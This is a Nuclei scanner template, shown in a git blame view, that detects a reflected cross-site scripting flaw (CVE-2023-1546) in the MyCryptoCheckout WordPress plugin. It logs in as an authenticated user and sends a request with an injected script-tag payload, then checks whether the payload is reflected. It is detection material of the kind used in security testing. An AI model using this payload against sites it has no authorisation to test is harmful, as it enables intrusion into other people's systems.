nuclei-templates/http/cves/2023/CVE-2023-1546.yaml

43 lines
1.3 KiB
YAML
Raw Normal View History

2023-07-15 18:06:25 +00:00
id: CVE-2023-1546
info:
2023-07-16 17:28:45 +00:00
name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
2023-07-15 18:06:25 +00:00
author: Harsh
severity: medium
description: |
2023-07-18 05:49:43 +00:00
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
remediation: Fixed in version 2.124
2023-07-15 18:06:25 +00:00
reference:
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
2023-07-16 17:28:45 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-1546
2023-07-15 18:06:25 +00:00
classification:
cve-id: CVE-2023-1546
2023-07-16 17:28:45 +00:00
metadata:
max-request: 2
verified: true
2023-07-18 05:49:43 +00:00
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated
2023-07-15 18:06:25 +00:00
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
2023-07-16 17:28:45 +00:00
2023-07-15 18:06:25 +00:00
- |
2023-07-16 17:28:45 +00:00
GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
2023-07-15 18:06:25 +00:00
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
2023-07-16 17:28:45 +00:00
- 'contains(body_2, "scriptalert(/XSS/)/script")'
- 'contains(body_2, "mycryptocheckout")'
2023-07-15 18:06:25 +00:00
condition: and